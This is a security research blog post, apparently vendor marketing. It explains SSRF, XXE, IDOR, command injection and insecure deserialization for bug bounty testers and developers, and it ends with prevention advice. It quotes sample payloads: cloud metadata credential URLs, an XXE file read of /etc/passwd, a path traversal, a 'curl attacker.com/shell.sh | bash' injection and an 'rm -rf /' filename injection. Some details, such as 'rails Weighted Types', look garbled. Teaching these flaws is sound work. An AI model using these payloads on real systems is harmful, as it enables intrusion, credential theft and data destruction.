Critical Web Vulnerabilities: The 41 Patterns Behind Most HackerOne High Severities
By Atlas Security Research
Most critical-severity bug bounty payouts come from five vulnerability classes: SSRF, XXE, IDOR, command injection, and insecure deserialization. We analyzed 41 real reports to build the definitive pattern library for each.
If you're doing web app testing — or getting an application tested — these are the categories that pay out. Here's the attack tree for each one.
Server-Side Request Forgery (SSRF) — 8 Patterns
SSRF happens when an application fetches a user-controlled URL without validating it. The attacker supplies a URL — the server fetches it, and the attacker sees the response.
The severity depends entirely on what the server can reach:
The Escalation Ladder
- Level 1 — Internal port scan: The attacker probes internal services by observing response times or error messages.
http://192.168.1.1:22returns different timing thanhttp://192.168.1.1:443. - Level 2 — Cloud metadata extraction: On AWS,
http://169.254.169.254/latest/meta-data/returns IAM credentials, EC2 instance data, or S3 tokens. This is the most common critical SSRF finding. - Level 3 — Internal service interaction: Accessing internal admin panels, databases, or Redis instances that have no external authentication.
- Level 4 — Data exfiltration: Using the vulnerable server as a proxy to bounce traffic to external destinations, obscuring attribution.
The Specific Variants We Found
Unvalidated External URL Parameter: A function accepts a URL — often used for preview, thumbnail generation, webhook testing, or link unfurling — and fetches it server-side without validation.
AWS Metadata SSRF: The application runs on AWS but doesn't block the 169.254.169.254 metadata endpoint. Attacker extracts temporary credentials and escalates to cloud account takeover.
SSRF via Header Injection: A parameter that gets reflected into an HTTP header (like a redirect URL) allows injecting a newline to add arbitrary headers or even a second request (HTTP request smuggling).
How to Find It
Look for any functionality that fetches remote resources: URL previews, image generation from URLs, PDF generation, webhook delivery, link unfurling, webhook callback URLs, file imports from URLs, RSS feed aggregation.
Test with your own controlled server first, then try http://169.254.169.254/latest/meta-data/ on AWS, http://metadata.google.internal/computeMetadata/v1/ on GCP, and http://192.168.0.1 for internal network probing.
XML External Entity (XXE) — 9 Patterns
XXE exploits applications that parse XML without disabling external entity processing. An attacker embeds a malicious DTD in an XML payload; the parser resolves it and either reads local files or triggers outbound requests.
XXE is particularly dangerous because it often yields blind exploitation — you don't see the response directly, but you can detect it via out-of-band channels.
The Attack Variants
Classic XXE (Direct): The attacker embeds an external entity pointing to a file on the filesystem. The parser resolves it and the content gets included in the application's response.
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
Blind XXE with Out-of-Band Data Exfiltration: The attacker embeds an external entity pointing to their controlled server. The parser fetches the DTD, and sensitive file content gets transmitted as part of the URL request to the attacker's server. The attacker sees the request with the file content in their logs.
XXE via Error Messages: Even if the response doesn't show parsed content, error messages often leak file content or internal paths.
Where It Lives
Any application that accepts XML input: SOAP API endpoints, file upload parsers (especially .docx, .xlsx, .svg), RSS feeds, podcast subscription handlers, SVG image uploaders, SAML authentication flows, and any XML-based API.
How to Find It
Submit <?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test> wherever XML is processed. Look for file content or error message changes in the response.
Insecure Direct Object Reference (IDOR) — 7 Patterns
IDOR is one of the simplest vulnerabilities to understand: the application uses user-supplied input to directly access an object without verifying if the user should have access to it.
The classic example: GET /api/invoices/12345 returns invoice 12345. Change it to GET /api/invoices/12346 — and you see someone else's invoice. That's IDOR.
The Variations
Direct Reference via URL Parameters: Object IDs in the URL path or query string are not validated against the authenticated user's session. The most common form.
Direct Reference via JSON Body: Same pattern, but the object ID is in the POST body rather than the URL.
Predictable Object IDs: The IDs aren't random — sequential integers, timestamp-based IDs, or base64-encoded predictable values. Attacker enumerates through them.
IDOR in File Operations: The object reference is a file path. Attacker manipulates it to read arbitrary files: ?file=../../etc/passwd
The Escalation Path
IDOR often starts as an information disclosure (reading other users' data) but can escalate to account takeover if the vulnerable endpoint lets you modify the object, reset passwords, change email addresses, or execute actions on behalf of another user.
How to Find It
Map every endpoint that takes an object ID — user ID, invoice ID, file ID, record ID. For each one: access the resource with your account, then try the same ID with a different account's session. If it works, you have IDOR. Automate this with Burp Suite's Autorize extension or IDOR Hunter.
Command Injection — 5 Patterns
Command injection occurs when user input gets passed to a system shell without proper sanitization. Any shell metacharacter — ;, |, &, `command`, $(command) — gets executed.
This is a guaranteed critical. Remote code execution is the highest severity on any platform.
Where It Lives
Any feature that triggers a system command: email subject lines that get piped to mail, image filenames passed to convert or ffmpeg, domain names passed to nslookup, ping/ICMP testing, webhook delivery, CI/CD pipeline triggers, Git integration features.
The Real-World Variants We Found
GitLab Webhook Shell Injection: A webhook payload containing shell metacharacters in the URL or headers gets passed unsanitized to the system shell that delivers the webhook.
URL Parameter to System Ping: A network diagnostic feature accepts a host parameter and runs ping <host>. Attacker sends ; curl attacker.com/shell.sh | bash.
Filename Injection in File Processing: An uploaded file's original filename is used in a shell command (like convert uploaded_image.png resized.png). Attacker names the file image.png; rm -rf /.
How to Find It
Look for any user input that flows into a system(), exec(), shell_exec(), popen(), ProcessBuilder, or equivalent system call. Common patterns: image processing (convert, ffmpeg, ImageMagick), network diagnostics (ping, nslookup, curl), email processing, PDF generation, backup features.
Insecure Deserialization — 8 Patterns
When an application deserializes untrusted data — whether it's a PHP object, a Java serialized stream, a Python pickle, or a .NET BinaryFormatter payload — and the programming language's deserialization mechanism allows code execution during that process, you get RCE.
This is the vulnerability class that took down Apache Commons, Ruby on Rails, and countless Java applications.
How It Works
The attacker creates a malicious serialized object. When the application deserializes it, a "magic method" — __destruct() in PHP, readObject() in Java, __reduce__() in Python — gets called automatically during deserialization. That method runs attacker-controlled code.
The attacker doesn't need to find a code injection point. The serialized object IS the exploit.
The Language-Specific Payloads
- PHP: Use
phpggcto generate payloads for common PHP frameworks (Laravel, Symfony, CodeIgniter) - Java: Use
ysoserialto generate payloads for common Java libraries (Spring, Apache Commons, Groovy) - Python: pickle.loads() is directly exploitable with
__reduce__()— no tool needed - Ruby: Use
rails Weighted Typesor similar gadget chains for Ruby on Rails
How to Find It
Identify where deserialization happens. Common locations: session cookies (especially JWT libraries), API request bodies (especially content-type application/x-binary), cached data, RPC protocols, inter-service communication. If you find a serialized object being passed, try substituting a known gadget chain payload.
The Severity Ladder
| Vulnerability | Low End | Critical Path | Max Impact |
|---|---|---|---|
| SSRF | Internal port scan | AWS metadata credentials | Cloud account takeover |
| XXE | Local file read | Blind XXE → data exfil | Full server compromise |
| IDOR | Read other users' data | Password/account takeover | Full account takeover |
| Command Injection | Limited RCE | Shell as www-data | Full host takeover |
| Deserialization | Denial of service | Gadget chain → RCE | Full host takeover |
What To Do With This
If you're a bug bounty researcher: these five categories consistently pay out critical and high severity. Master them. Build your own pattern library. Learn the automation tricks — ffuf for SSRF probing, Burp's Autorize for IDOR, known gadget chain generators for deserialization.
If you're building an application: every one of these is preventable. SSRF requires URL validation and blocking private IP ranges. XXE requires disabling external entities in your XML parser. IDOR requires authorization checks on every object access. Command injection requires never passing user input to a shell. Deserialization requires using safe formats (JSON, not serialized objects) or integrity checks on serialized data.
The vulnerabilities are well-known. The patterns are documented. The fix is usually a few lines of code. The problem is simply that most teams don't know to look for them.
This research is part of Atlas Agent Suite's ongoing security intelligence effort. Our vulnerability pattern library now contains 235 patterns across both smart contract and web application categories. If you're building something with user-facing web functionality or API endpoints, talk to us before you ship.